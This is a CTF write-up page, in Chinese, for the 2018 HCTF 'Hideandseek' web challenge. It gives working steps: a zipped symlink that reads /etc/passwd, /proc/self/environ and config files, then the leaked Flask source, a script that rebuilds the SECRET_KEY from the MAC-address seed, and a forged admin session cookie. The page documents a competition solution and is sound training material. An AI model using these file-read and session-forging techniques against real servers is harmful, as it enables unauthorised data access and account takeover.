CTF-WriteUp
  • 😅Introduction
  • 🥵Friend
  • 2015
    • 2015 RCTF
      • EasySQL
  • 2016
    • 2016 0CTF
      • piapiapia
  • 2018
    • 2018 网鼎杯
      • Fakebook
      • Comment
    • 2018 BUUCTF
      • Online
    • 2018 WesternCTF
      • shrine
    • 2018 SWPUCTF
      • SimplePHP
    • 2018 HCTF
      • Hideandseek
      • WarmUp
    • 2018 SUCTF
      • GetShell
  • 2019
    • 2019 AuroraCTF
      • Check In
      • Welcome to Aurora
      • ez LFI
      • ssti
    • 2019 Hackergame
      • 签到题
      • 信息安全 2077
      • 达拉崩吧大冒险
      • 网页读取器
    • 2019 RoarCTF
      • Easy Calc
    • 2019 极客大挑战
      • Secret File
      • LoveSQL
      • Knife
      • PHP
      • Http
      • Upload
      • BuyFlag
      • BabySQL
      • FinalSQL
      • RCE ME
      • EasySQL
      • HardSQL
    • 2019 SUCTF
      • check in
      • EasyWeb
      • EasySQL
    • 2019 ZJCTF
      • NiZhuanSiWei
    • 2019 CISCN
      • [华北赛区]Hack World
      • [华北赛区]ikun
      • [华东南赛区]Web11
      • [华北赛区]Dropbox
      • [总决赛]Easyweb
      • [初赛]Love Math
      • [华北赛区]CyberPunk
      • [华东南赛区]Double Secret
    • 2019 强网杯
      • 高明的黑客
      • 随便注
    • 2019 GXYCTF
      • 禁止套娃
      • BabyUpload
      • Ping Ping Ping
      • BabySQli
    • 2019 安洵杯
      • easy_web
      • easy_serialize_php
    • 2019 De1CTF
      • SSRF Me
    • 2019 ASIS
      • Unicorn shop
    • 2019 GWCTF
      • 我有一个数据库
      • 枯燥的抽奖
    • 2019 PwnThyBytes
      • Baby_SQL
    • 2019 BSidesCF
      • Kookie
      • Sequel
    • 2019 FBCTF
      • RCEService
    • 2019 CSCCTF
      • FlaskLight
    • 2019 HarekazeCTF
      • encode_and_encode
    • 2019 SWPU
      • Web1
    • 2019 RootersCTF
      • I_<3_Flask
    • 2019 NCTF
      • SQLi
  • 2020
    • 2020 CTFShow 36D杯
      • 签到
      • rsaEZ
      • justShow
    • 2020 GKCTF
      • Check_In
      • cve版签到
      • 老八小超市儿
    • 2020 CISCN
      • easyphp
      • easytrick
      • rceme
      • babyunserialize
      • littlegame
    • 2020 羊城杯
      • easycon
      • BlackCat
      • easyphp
    • 2020 ACTF
      • Include
      • BackupFile
      • Exec
    • 2020 CTFShow 月饼杯
      • 此夜圆
      • 故人心
      • 莫负婵娟
    • 2020 西湖论剑
      • easyjson
      • newupload
    • 2020 CTFShow 1024杯
      • fastapi
    • 2020 太湖杯
      • checkInGame
      • easyWeb
      • ezMd5
      • CrossFire
    • 2020 ByteCTF
      • Check-In
    • 2020 BJDCTF
      • Easy MD5
      • The mystery of ip
      • ZJCTF,不过如此
      • 假猪套天下第一
      • 简单注入
      • EasySearch
      • EzPHP
    • 2020 网鼎杯
      • [朱雀组]Think Java
      • [青龙组]filejava
      • [青龙组]AreUSerialz
      • [朱雀组]phpweb
      • [白虎组]PicDown
      • [朱雀组]Nmap
    • 2020 MRCTF
      • 你传你🐎呢
      • Ez_bypass
      • PYWebsite
      • Ezpop
      • 套娃
    • 2020 GYCTF
      • Blacklist
      • FlaskApp
      • Ezsqli
    • 2020 BJDCTF
      • old-hack
    • 2020 WUSTCTF
      • 朴实无华
      • 颜值成绩查询
      • CV Maker
    • 2020 NPUCTF
      • ReadlezPHP
      • ezinclude
    • 2020 Zer0pts
      • Can you guess it?
    • 2020 HFCTF
      • EasyLogin
  • 2021
    • 2021 CTFShow DJBCTF
      • veryphp
      • 虎山行
      • spaceman
    • 2021 CISCN
      • easy_sql
      • easy_source
      • middle_source
      • Upload
      • filter
    • 2021 强网杯
      • pop_master
      • Hard_Penetration
      • 寻宝
    • 2021 羊城杯
      • checkin_go
      • Only 4
      • EasyCurl
    • 2021 红明谷
      • JavaWeb
      • write_shell
  • 2022
    • 2022 RealWorld CTF 4th
      • Hack into Skynet
      • RWDN
    • 2022 强网杯
      • babyweb
      • crash
      • easyweb
      • rcefile
      • uploadpro
      • WP-UM
    • 2022 NewStarCTF
      • WEEK1-WEEK2
      • [WEEK3]Maybe You Have To think More
      • [WEEK3]IncludeTwo
      • [WEEK3]BabySSTI_One
      • [WEEK3]multiSQL
      • [WEEK4]BabySSTI_Two
      • [WEEK4]So Baby RCE
      • [WEEK4]UnserializeThree
      • [WEEK4]ROME
      • [WEEK5]Give me your photo PLZ
      • [WEEK5]So Baby RCE Again
      • [WEEK5]BabySSTI_Three
      • [WEEK5]Unsafe Apache
  • 2023
    • HGAME
      • WEEK1
        • Classic Childhood Game
  • 靶场
    • 攻防世界
      • view_source
      • robots
      • backup
      • Cookie
      • disabled_button
      • weak_auth
      • simple_php
      • get_post
      • xff_referer
      • webshell
      • command_execution
      • simple_js
      • Training-WWW-Robots
      • baby_web
      • php_rce
      • PHP2
      • NaNNaNNaNNaN-Batman
    • CTFHub
      • Cookie
      • 请求方式
      • 302跳转
      • 基础认证
      • 响应包源代码
      • 默认口令
    • CTFShow
      • 信息收集
      • 爆破
      • 命令执行
      • thinkphp专题
    • N1BOOK
      • WEB入门
      • WEB进阶1
      • Web进阶2
    • Upload-Labs
    • SQL-Labs
Powered by GitBook
On this page
  1. 2018
  2. 2018 HCTF

Hideandseek

先用guest登录,提示上传zip文件,上传后进行解压,利用软链接实现任意文件读取

ln -s /etc/passwd 1.jpg

压缩1.jpg上传

zip -y 1.zip 1.jpg

读取/proc/self/envion

HOSTNAME=b07efea7a3bfSHLVL=1PYTHON_PIP_VERSION=19.1.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/uwsgi.iniWERKZEUG_SERVER_FD=3NGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/static_=/usr/local/bin/pythonUWSGI_CHEAPER=2WERKZEUG_RUN_MAIN=trueNGINX_VERSION=1.15.8-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.15.8.0.2.7-1~stretchLANG=C.UTF-8PYTHON_VERSION=3.6.8NGINX_WORKER_PROCESSES=1LISTEN_PORT=80STATIC_INDEX=0PWD=/appPYTHONPATH=/appSTATIC_PATH=/app/staticFLAG=not_flag

读取/app/uwsgi.ini

uWSGI是一个Web应用服务器,它具有应用服务器,代理,进程管理及应用监控等功能。它支持WSGI协议,同时它也支持自有的uWSGI协议。

[uwsgi] module = main callable=app logto = /tmp/hard_t0_guess_n9p2i5a6d1s_uwsgi.log

这里无解了,据说这里的链接应该是

module的返回值应该是module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main 访问/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

应该是BUU的配置不对,读取源码

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

其中随机数的种子是uuid.getnode(),本地的MAC地址的十进制表示,获取本地的MAC地址。

/sys/class/net/eth0/address

02:42:ac:10:b9:28 

转换MAC地址

import uuid
import random

if __name__ == "__main__":
    mac = "02:42:ac:10:b9:28"
    temp = mac.split(':')
    temp = [int(i, 16) for i in temp]
    temp = [bin(i).replace('0b', '').zfill(8) for i in temp]
    temp = ''.join(temp)
    mac = int(temp, 2)
    random.seed(mac)
    randStr = str(random.random()*100)
    print(randStr)  # 结果为 90.979214536644

利用MAC地址做SECRET_KEY,代入flask_session_manager

eyJ1c2VybmFtZSI6ImFkbWluIn0.YP4y5w.4YJJKSNFQhpDtLEBQDf7dz6Kr5Q
Previous2018 HCTFNextWarmUp

Last updated 2 years ago